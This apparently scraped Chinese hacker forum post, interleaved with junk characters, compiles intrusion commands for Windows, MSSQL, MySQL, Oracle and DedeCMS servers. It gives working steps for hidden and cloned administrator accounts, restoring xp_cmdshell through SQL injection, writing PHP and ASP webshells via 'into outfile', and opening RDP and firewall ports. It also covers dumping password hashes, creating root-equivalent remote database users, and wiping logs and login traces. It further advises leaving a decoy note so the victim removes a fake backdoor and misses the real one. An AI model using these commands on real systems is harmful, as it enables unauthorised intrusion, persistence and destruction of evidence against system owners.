+ H+ k3 f7 i. M: B$ m, h" _1.net user administrator /passwordreq:no
& v1 Z. E6 M, j# n这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
7 w1 W7 f7 S" Y6 ?" u5 Y2.比较巧妙的建克隆号的步骤, v1 R% D5 P# ^- K3 h" W
先建一个user的用户% y/ W; K& t. ]( T1 T9 A
然后导出注册表。然后在计算机管理里删掉
J& @& ]. W) k$ I7 Y在导入,在添加为管理员组
, Q! p; ^3 `0 [% V% W! ?+ u4 x6 ~ e3.查radmin密码
7 `, a, K6 @6 L9 f+ Areg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg, O9 z- H% B. V' I) p2 R6 S
4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]7 q; b, I( h2 _( m
建立一个"services.exe"的项
) ^) Z6 _5 |( j再在其下面建立(字符串值)
( K. \2 m2 |$ s, _8 x+ g3 Q键值为mu ma的全路径5 y: A) H8 n" I
5.runas /user:guest cmd
4 o9 A/ \& |9 D h2 I测试用户权限! Z4 x0 f) @' I& P' |" _, _
6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?1 t0 e, c$ A) x2 u0 q
7.入侵后漏洞修补、痕迹清理,后门置放:: N. G# _! [2 L- f& x
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
2 ^& w7 }( n% Z, e7 F8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c$ |0 E9 I2 ~9 d( K% a
; A6 g5 }$ w. v4 ~2 T) xfor example
% c3 [5 w% O; k/ j' M
0 B- u/ k. n( ^1 I2 gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'9 p1 P- M7 _8 Q2 A. A
2 w/ a+ E/ S# Ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'
/ J( E g1 u! ^; S J0 I1 c; ~; P! u! c7 x- d8 Q) ?
9:MSSQL SERVER 2005默认把xpcmdshell 给ON了" Z' P! v5 G! o) b: z3 J; Y2 L2 p2 w8 L
如果要启用的话就必须把他加到高级用户模式) i0 @4 U4 \/ N* q: H/ P
可以直接在注入点那里直接注入9 A9 Q9 r; e7 K0 K
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--1 Y( F; m# I. G1 l# g& m
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--( x0 y3 W7 ?8 ~1 c7 e
或者
5 u. v$ i* v8 M& W! Ksp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
5 V% O* `7 H: k; H来恢复cmdshell。6 I7 }" E- m/ U6 K. d/ n( k1 v
) G! o% [; a, M
分析器& z+ M* Q$ C. E" Q4 O, Q: [
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
+ j) P1 C( x& v6 l( X' V" f然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
/ \; y1 |/ D1 K6 l10.xp_cmdshell新的恢复办法$ p' E0 @0 a5 g/ ]5 \
xp_cmdshell新的恢复办法- Y$ D9 C4 Y# ~" R+ X6 K0 u' T$ F
扩展储存过程被删除以后可以有很简单的办法恢复:
- e& F9 p. |* ~: e删除7 U. u/ @+ A, R, u
drop procedure sp_addextendedproc) ^ Z( z8 T5 K x5 h3 P
drop procedure sp_oacreate6 K5 E8 {" D+ S3 j) t6 j
exec sp_dropextendedproc 'xp_cmdshell'7 m+ I# h+ L" j( l2 @: p) O
! c" N V- {7 Z; S1 s6 c5 K$ i+ ]( d
恢复- |' P. R( D& h; ^
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
, n% J& z* R8 Y3 T8 Edbcc addextendedproc ("xp_cmdshell","xplog70.dll")/ x5 y/ D# @6 o: ]* Q
. m/ |2 N' \* `6 l) N y; B
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
% w6 u6 @! T3 t, _/ ~! t6 b! r$ [' h4 U% {1 p
-----------------------------
c) G, @0 k- {0 V( L
) n$ j& \; H9 r) H8 F* {# d删除扩展存储过过程xp_cmdshell的语句:% V$ I5 M, r( Q7 N) f+ f1 O
exec sp_dropextendedproc 'xp_cmdshell'& W; A* i [, o( u" v( _
4 s7 L) E! P4 D) Y恢复cmdshell的sql语句; t: j" ?, T& n( \3 h1 W$ H5 G$ u
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'/ _5 {- c I( a6 O
+ Y0 H, t2 [( _( @4 q% R
) n7 w) v( `3 y$ K, U开启cmdshell的sql语句
, g3 s2 i7 s: S5 C2 B' ^
' a2 e% i* T/ `9 T B3 Kexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
) w2 j2 d* ^( Z& b' B: d& C, t) N1 v- f+ Y
判断存储扩展是否存在+ {0 F; w M" k
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'& v5 f; e5 {2 s' L) O1 Q4 @
返回结果为1就ok1 t! W' @7 s) L! Q6 n e& C
, E* c$ I: B) C7 k. I恢复xp_cmdshell
# c7 m. {& E9 N" Sexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
$ w3 c) T& w |: a# z返回结果为1就ok) R2 k# |* o2 c4 O+ y
( N: D2 p) K2 n8 }+ z' A5 l
否则上传xplog7.0.dll
; m( x6 P, s0 c9 \ |0 l7 gexec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
% r; K# e- D/ H* m# L& t. H- N' I! h& X: F. ?3 F
堵上cmdshell的sql语句! f! O4 b' S+ A$ W
sp_dropextendedproc "xp_cmdshel: R/ q' _4 e( M! K4 P
-------------------------
# u" V4 U- w$ k6 t清除3389的登录记录用一条系统自带的命令:
1 l2 ~9 a( D/ _6 A' r: w p! lreg delete "hkcu\Software\Microsoft\Terminal Server Client" /f( \2 ^& O; F* a* S+ B4 I4 t
7 ` a" E6 F0 U1 I% B; A1 G然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件' @0 N# F! ]: ?0 X) E6 ~
在 mysql里查看当前用户的权限
& y A# V6 O: o9 R$ ^! cshow grants for ; s1 x( ?# z8 H4 K! s
) f$ l+ [8 H- f, G以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。" X! R0 I) t0 J. X) I, \/ L
. G) p" S- q ^7 b9 J e1 {0 X/ L& q) w
Create USER 'itpro'@'%' IDENTIFIED BY '123';0 E: V( e6 m7 v3 g
# p' F5 ]* i3 O6 ~, O8 ]8 j
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
' B3 @, M8 y2 R; @. c O4 s
% e5 b1 w. D: W9 d/ s8 A3 OMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 09 [+ O4 u5 P6 B% W+ A: M% G7 ~: T
$ ~) Z8 E' h0 |, g2 m. p
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;. n& G8 |0 O8 F+ O3 t+ z: \
( {. _2 ^% m0 s% `! ^! e$ ]+ @
搞完事记得删除脚印哟。
& s7 X( n! M& S; N9 R, X. b" D; B; H& Z; V/ g
Drop USER 'itpro'@'%';' ]7 L! p' c# X. R
1 f# S% n; _6 k, a$ q' p( v f9 H+ LDrop DATABASE IF EXISTS `itpro` ;
. a9 ~. R2 Z% ?$ [7 H
8 ?# v1 B3 i7 R8 k& b$ Z当前用户获取system权限% I$ o) x5 c3 q3 t: x. @8 Y7 s! ~
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact
4 K6 v5 K; v5 U2 N2 c3 Osc start SuperCMD* w5 Q9 q# J G* \# x9 q) x
程序代码* C7 j, A( ?; @/ l
<SCRIPT LANGUAGE="VBScript">
" D! u$ p r+ V [+ ]set wsnetwork=CreateObject("WSCRIPT.NETWORK")' `$ ^, C* U8 \% ~, x# O! ], B+ o
os="WinNT://"&wsnetwork.ComputerName8 h8 H$ d4 E+ W0 r2 B
Set ob=GetObject(os)1 w" D+ b: t4 R5 y8 b% i6 K
Set oe=GetObject(os&"/Administrators,group")
. u% d" [% x& ZSet od=ob.Create("user","nosec")
) M4 ~$ R0 R: q, z6 nod.SetPassword "123456abc!@#"
9 x! T; d" P* O) r9 V) Mod.SetInfo5 E: b6 z6 F O( W: K
Set of=GetObject(os&"/nosec",user)
5 z$ b. l8 d" S& W0 W4 Coe.add os&"/nosec"
. g" `! n8 ~, j1 i- g6 \8 d, A</Script>+ |; q/ ]% i N, p: z8 e
<script language=javascript>window.close();</script>2 C- w4 Z6 B% Q+ G. C
8 z* E; a; S: c& o3 N
! h, k! c) Y9 f2 N8 \
1 W2 W$ y5 K Z' k) r
- l. ^0 z8 `# k. G突破验证码限制入后台拿shell, ` X. X5 o, U& D0 R6 { G2 L2 r
程序代码
" Q }, C( `) n/ m/ tREGEDIT4 9 n- g$ p+ `7 _0 ^7 b
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security] 4 C& R8 l: D9 \- \% i6 \* G; O
"BlockXBM"=dword:00000000' [% v- u6 d. J* ^0 w' C+ ~1 q
S7 e; d/ g2 u* D5 H. `
保存为code.reg,导入注册表,重器IE& J9 E2 z2 i: C/ U0 G) Y; A5 m) }
就可以了6 ]9 h9 p' Z$ I+ z9 S: y
union写马
) J- i- z3 T, Z. i程序代码
9 Z9 I8 h1 r4 ^; |' Nwww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*
" {0 f% S) f+ R# p/ d$ W- V0 I0 a0 C/ t7 c& j6 ^; q8 Q: ?, K! d
应用在dedecms注射漏洞上,无后台写马; q; [2 H- E& S: A/ i6 w9 J
dedecms后台,无文件管理器,没有outfile权限的时候
+ g- K# d9 k( Z0 O$ U* v在插件管理-病毒扫描里. O3 b. U- [% d- a
写一句话进include/config_hand.php里* Z* W. `/ k' P ?
程序代码
' I. e+ T; L* U! Q* `! U$ C* n>';?><?php @eval($_POST[cmd]);?>
- q% p) u# O0 y: N" I( n- V4 k2 _
4 T9 q+ W1 u& c O如上格式7 \ o7 n" D7 P' m# H
- ]+ u8 }+ @, P7 l6 W$ R) ?# F0 l+ X
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解- i0 X/ B: u9 A: |% `7 c
程序代码. F9 j) O5 X7 p
select username,password from dba_users;" F$ }' `: M, d: H5 B
: |4 h: l9 Y5 y% w) ], g
; v9 h( @' H* g( U o
mysql远程连接用户
0 S- `. G- r6 W% ~' e& |1 j b$ L程序代码
0 J( K: u& n9 G
+ U1 [8 F- K$ ~1 I+ f; M/ BCreate USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
' \6 U' z4 F; E# W i* m& H$ @" a6 IGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION
# G% o7 ~" I' D1 ?+ u# V1 eMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
9 U/ S* N. M4 K+ y4 \MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
+ a, M1 \# N, l' E7 j E T
7 l+ s, a x+ }2 o# G& U/ J, g7 S$ n2 U7 ?! y& I, g. x5 x
. V' t- [; O. g9 W! ^0 G2 Q: F
9 n& T. \) ~/ L; V$ ~" _echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0) `) q5 m( H. m1 F, B
& q+ |0 K3 [) I0 u; [( X% w1.查询终端端口
) ?: f$ ]& L& m F# n
6 K/ [4 @7 w" Dxp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
/ N0 B! M( m* Q% F$ g' H7 k& C7 D% k& @; V0 Y" w& K6 K4 o
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp") S% B4 _2 z) J' ]& m- c
type tsp.reg
$ v2 a: l4 y" p0 T
7 M# R! D$ Y' X( ~2 W2.开启XP&2003终端服务5 g8 P' x% e" o Y- A0 {+ J, ?
& h0 `$ z" q* F# I4 |6 g J
% A+ k% G' |: `! {REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f8 f+ s6 Z8 g ]$ p
# Z6 ^9 k) j7 Z8 ^1 m0 p$ x U$ m7 d1 |1 p7 z. e: T7 i0 M
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f( j& P* o0 [9 s/ Z9 e
7 E2 W; F: N% r* m3.更改终端端口为20008(0x4E28)
/ f4 t% a, a0 }5 b) s- F0 ]) m4 w$ x' R
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f- O; S: R# W4 r
& k g5 U2 q* {! _$ s
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
% q9 L3 H1 T; }' \' }8 x
$ h& o! W% {- F8 p4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
2 U2 [" f/ Y! @2 P
, z( E4 M9 k! [REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
9 p+ r/ ^% t$ }- z/ ~3 {; [9 F7 Y( M7 U; b
+ X( {! M; a' e! R0 ?
5.开启Win2000的终端,端口为3389(需重启)
8 y9 Y6 o6 |8 J4 l
7 ~$ h! \7 }, k& F: Q( Xecho Windows Registry Editor Version 5.00 >2000.reg
* V- ~3 H; e4 Z. Q" n" iecho. >>2000.reg
/ j" P, R. M4 i5 t/ I5 e; iecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg
8 Q% D1 q. e9 q/ o7 Z2 w% secho "Enabled"="0" >>2000.reg
$ a" l; N5 D3 J' \- lecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg 7 t0 l) B! l5 I" m7 M4 w: d
echo "ShutdownWithoutLogon"="0" >>2000.reg 3 r, D/ m0 x8 q8 F7 F
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg , ]3 i) h6 h$ A* e, g
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg ( [% P# V. s: J- z% P
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg / z2 f! ]0 n* Z+ l" e
echo "TSEnabled"=dword:00000001 >>2000.reg % `- Z3 @: {6 C6 W) ]- {# @
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg . m+ r" |& a) ?# G; r) K! S
echo "Start"=dword:00000002 >>2000.reg + a( t/ u2 u# h. B: p" W
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
7 {% ]6 i6 R8 S# M- eecho "Start"=dword:00000002 >>2000.reg ) q% J* t$ \. L6 W, E) U
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
_5 ~& d. J" w2 _( pecho "Hotkey"="1" >>2000.reg ! K2 {3 ~/ D% H6 y) a
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg . A- K6 D) S; ]; s$ k6 k
echo "ortNumber"=dword:00000D3D >>2000.reg 8 B, X# c2 K O9 F& ~
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
3 H/ `6 C/ Y* ?% U8 ]echo "ortNumber"=dword:00000D3D >>2000.reg
9 ] X" U5 Y9 h5 o& r
' P: ~4 {3 S( j6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
; }( |: {& e. n: x" M
& l1 c8 f0 c' e1 |, g* `! }@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
4 U$ \( q h. l(set inf=InstallHinfSection DefaultInstall)
, C$ I4 t( W' e6 |6 d3 ~3 d. ~echo signature=$chicago$ >> restart.inf; }7 Q* n" t; ~3 Z% l
echo [defaultinstall] >> restart.inf
' v( Y1 z5 [- Mrundll32 setupapi,%inf% 1 %temp%\restart.inf
8 P) s6 V6 S2 `: W" \& V* C8 c9 a+ E: i- l
. f3 }7 }% ~: Z8 u4 a7.禁用TCP/IP端口筛选 (需重启)
3 ]: Y# g, [+ |) j8 y# N5 A
. s* ^1 i3 b5 D" Y( BREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f2 i( k& g* w9 w8 q: i+ D6 ?% C+ i
& ^ ^( `4 o; {& ^: q3 s& C7 @- j
8.终端超出最大连接数时可用下面的命令来连接% `# t+ w( ^9 M
, ]$ `' a o* X# A+ }mstsc /v:ip:3389 /console" p. h) `- V2 n, S
* `$ Q) ]7 E( N% z9.调整NTFS分区权限4 ?8 i$ K( }, F3 q- p
3 V, H5 I- C- x# _, F1 B- C+ a
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)! p' W! G1 G8 u8 H: K( I3 Q
- N# U: U( _5 {# |7 C5 J7 I* S' fcacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件). W) \* }/ K- g) t
7 {# L6 m" ]! g- _1 v2 e9 a" N' b, J------------------------------------------------------0 E! V& T& C/ U2 g! L, _1 b
3389.vbs
5 q4 M1 v$ g3 e* Z% nOn Error Resume Next5 ?0 z* A ] I, ~9 u' H
const HKEY_LOCAL_MACHINE = &H800000023 `5 ]! z2 f- C# D. ~: _% c
strComputer = "."+ G7 W) k: Q0 @8 o
Set StdOut = WScript.StdOut$ G* N' C0 O- B7 \
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_& t/ ^/ m- q' x
strComputer & "\root\default:StdRegProv")
8 w- x O$ s8 z: d" bstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"5 S' c# u% P/ t) n: T
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath) L. N9 c: A) A, P
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"+ i% k. F+ I: C' w
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
# G. w8 V1 n6 kstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"6 Q1 d5 M0 X1 }
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
& A: M' D5 C/ P/ T& estrValueName = "fDenyTSConnections"% {$ R( i. |0 C, I- {. V% v
dwValue = 0' F3 G" _: K7 d5 n0 B3 x) ?
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue3 x. d0 u; @0 r! P. w6 @6 {
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"' v' F9 L, S! k2 g% Y1 g
strValueName = "ortNumber"6 P- x$ {. N1 N& ?; m$ x
dwValue = 3389+ R' H" d# _; y: O/ V
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
4 F# s: K, G* X5 ]. L4 Z' D: RstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"4 y1 E q, ?) d/ f
strValueName = "ortNumber"1 u) s3 ^: g3 |1 V6 D
dwValue = 3389
2 a. |8 S3 {# Q2 q& T1 x) m2 noreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue) h' W1 q) p9 H! R8 [
Set R = CreateObject("WScript.Shell") ) g) t8 `1 J& w4 D% H; w' T7 u
R.run("Shutdown.exe -f -r -t 0") * p: E, @5 x, c' A) x; v. x/ q
' i( ~2 M8 j4 @- a& K/ U
删除awgina.dll的注册表键值6 G0 O+ @# f+ G) Y7 L0 N
程序代码
0 A) Y) x3 K: ?7 y3 a, C' k z3 Q2 U( k$ |& W% v
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f' m% p& M# X* T: m+ {/ c. L6 |3 {1 l
# {2 E: X: W! u+ ]' Y* z8 k
2 [0 s$ I6 e3 [0 s" N' V8 q. {4 c, k' j) t
- z4 I, p% |3 Q0 V) l2 B程序代码
1 T1 C$ i, @/ e, r" o6 c# PHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash4 Z. u2 ^; I+ \) |
+ Q0 R7 Z! q! m) r) O) w1 J+ M
设置为1,关闭LM Hash1 L: m% j/ r7 [6 N
1 q r. I9 n# X$ w数据库安全:入侵Oracle数据库常用操作命令* n, n4 r3 O% f8 I4 i3 Y+ k9 N
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
% a5 w5 B; y- P* b( c2 X1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。" U0 t) E4 ^8 s6 U4 k7 K
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
' I9 J7 d" t, a; \ V+ y* u3、SQL>connect / as sysdba ;(as sysoper)或
u0 b- _: S3 Fconnect internal/oracle AS SYSDBA ;(scott/tiger)
5 {: k; g+ M( ], u+ P) @7 qconn sys/change_on_install as sysdba;, O5 {; n1 L4 B. ]
4、SQL>startup; 启动数据库实例
% P; h7 D- Y; Z# C' @3 c: k8 J! @* n5、查看当前的所有数据库: select * from v$database;* s3 p. c) k( S0 W6 c$ m! g1 v
select name from v$database;7 {9 {( U- ^9 o' ^( D: W9 |
6、desc v$databases; 查看数据库结构字段
, e' d% O/ P$ b' h- h7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
$ f- k$ @" ` X5 e- {. wSQL>select * from V_$PWFILE_USERS;
; E# f3 r" u# w( n0 dShow user;查看当前数据库连接用户6 Z" h$ t4 R9 t. p$ q8 x1 t
8、进入test数据库:database test;
6 v" {2 U8 ~) m: B8 T2 }: E$ }9、查看所有的数据库实例:select * from v$instance;
; D" P7 n% k6 V" ]' u. z5 {( U$ Y如:ora9i$ p. w& @7 \* l; m
10、查看当前库的所有数据表:
3 |5 J- m; N g8 y$ C$ CSQL> select TABLE_NAME from all_tables;
- e) K) o6 f8 I+ N* S; Tselect * from all_tables;, S" m8 M0 e, }$ Q
SQL> select table_name from all_tables where table_name like '%u%';! X* G- E& }9 C0 {' [$ }
TABLE_NAME" _0 B$ m5 \+ _, v' [* K2 w
------------------------------
+ L6 y) _1 Y; T% f4 x_default_auditing_options_
2 }( z$ X4 t" Z0 ]11、查看表结构:desc all_tables;
# M7 U! L& j6 G/ {( s12、显示CQI.T_BBS_XUSER的所有字段结构:
! G" S/ f0 D& H- i* o# Tdesc CQI.T_BBS_XUSER;
8 [2 a& R$ @6 a0 R# g13、获得CQI.T_BBS_XUSER表中的记录:
' n4 t% A% W! N$ c6 U% G1 lselect * from CQI.T_BBS_XUSER;
5 `$ {0 h9 h# c, e* k% q3 B14、增加数据库用户:(test11/test)$ B( q! K" j5 s- m6 R* O2 l7 |( U
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;6 P0 L$ ] c2 \( J
15、用户授权:
, [' j5 P5 S( N/ C3 Z4 bgrant connect,resource,dba to test11;% B7 p) W: |# c H6 m3 t8 Q9 p
grant sysdba to test11;# M( w1 `9 p+ [
commit;8 D6 k6 r" t) x% D
16、更改数据库用户的密码:(将sys与system的密码改为test.)
2 H$ z( L& ^: ^$ c5 falter user sys indentified by test;
& c0 ]. k$ M( u% h& U6 E7 jalter user system indentified by test;' y f( j8 s6 a: G
' G% T. O+ `! t: _! @- Z& z- @! b" X
applicationContext-util.xml
Z! z9 y, Y( t& u% KapplicationContext.xml0 t Y! `& s, a' ?& P7 y1 R
struts-config.xml
4 m7 J( R( L3 t! l% M6 Z6 h1 yweb.xml
! r* R9 J$ R9 ]1 ^9 ]0 Userver.xml
' A# m$ B% \+ I, P$ E) ftomcat-users.xml' a9 a7 P( w4 ^9 k/ L
hibernate.cfg.xml, F- c$ G- P! o6 ?
database_pool_config.xml
9 |- Z, t) H0 a8 y9 s5 z" g# I5 o+ ^" X$ d' R) z0 Y3 ~
4 V; C4 h8 c2 Y4 |, k' C\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置6 Q9 f" `; I$ M, ^, {# [
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini$ I: Z. f) E. R
\WEB-INF\struts-config.xml 文件目录结构: @0 y% a" S" n6 J' s+ i' n
: r% R+ _2 C, G! ^* A) C r4 H8 Kspring.properties 里边包含hibernate.cfg.xml的名称- f1 y$ y2 `9 |2 t9 z9 }$ N! L
4 f, w& i" B, r# _4 m' [8 Y- D
4 w5 R8 |6 K( X
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml4 R# v; t' M/ v! d/ f0 J0 _: ~
4 H6 [, D& p9 O* X U3 }! l% m+ `如果都找不到 那就看看class文件吧。。1 ~' v; h" t. I) e
! F3 `! P3 A3 U8 L2 i" D测试1:% P& k: @) W7 i5 t7 S
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1' A7 Y$ E" A5 J- _: y" f
. ]) D- s5 }9 _/ h' e% Z; ^7 d
测试2:6 w' }7 O; w) J
2 L; ?% d7 b* m7 N1 s+ O6 D3 Fcreate table dirs(paths varchar(100),paths1 varchar(100), id int)" O5 S7 \' c9 |: x
6 d( G8 W4 a) ]* Y& j2 i5 }/ a
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
' J7 q5 e. ?+ ]
: O% }1 d' K# M6 s* jSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1& c1 ]5 |& T a7 l3 l: Q
5 s7 P+ E# N$ H+ V8 |查看虚拟机中的共享文件:
! @) @8 @% i0 N% s J& ~在虚拟机中的cmd中执行
! w2 p' W8 n& y) ~0 k* G\\.host\Shared Folders
4 a) ^1 K; ]& G& F7 t; o& E
8 q% [+ z9 L$ P* d' s1 X) N. icmdshell下找终端的技巧7 W9 T* b1 f O& A2 \ z
找终端:
! @' n2 T9 w' h2 J+ c第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值!
4 E r% J4 A) Z" K* E, A3 Z 而终端所对应的服务名为:TermService
) U1 d$ l7 O( {% K- x2 K/ o第二步:用netstat -ano命令,列出所有端口对应的PID值! $ |. A$ s7 O: X
找到PID值所对应的端口7 R" q0 p* \$ O' M
- A9 S* d3 w I* g3 t查询sql server 2005中的密码hash* S" h/ Y" x+ u8 }
SELECT password_hash FROM sys.sql_logins where name='sa'
/ Q# A+ v' k( |0 r$ G+ j9 t0 @" [SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a6 O( J& c7 u$ @$ l
access中导出shell6 ?& v! a p. F6 H
" p5 M; j6 s0 @* F! ` x中文版本操作系统中针对mysql添加用户完整代码:
. ?) Z. T4 M' \9 A9 J9 W0 M$ z8 r/ ]! N" S6 f4 C) @1 ?
use test;! i1 R1 V9 d) p) r2 `! \, d
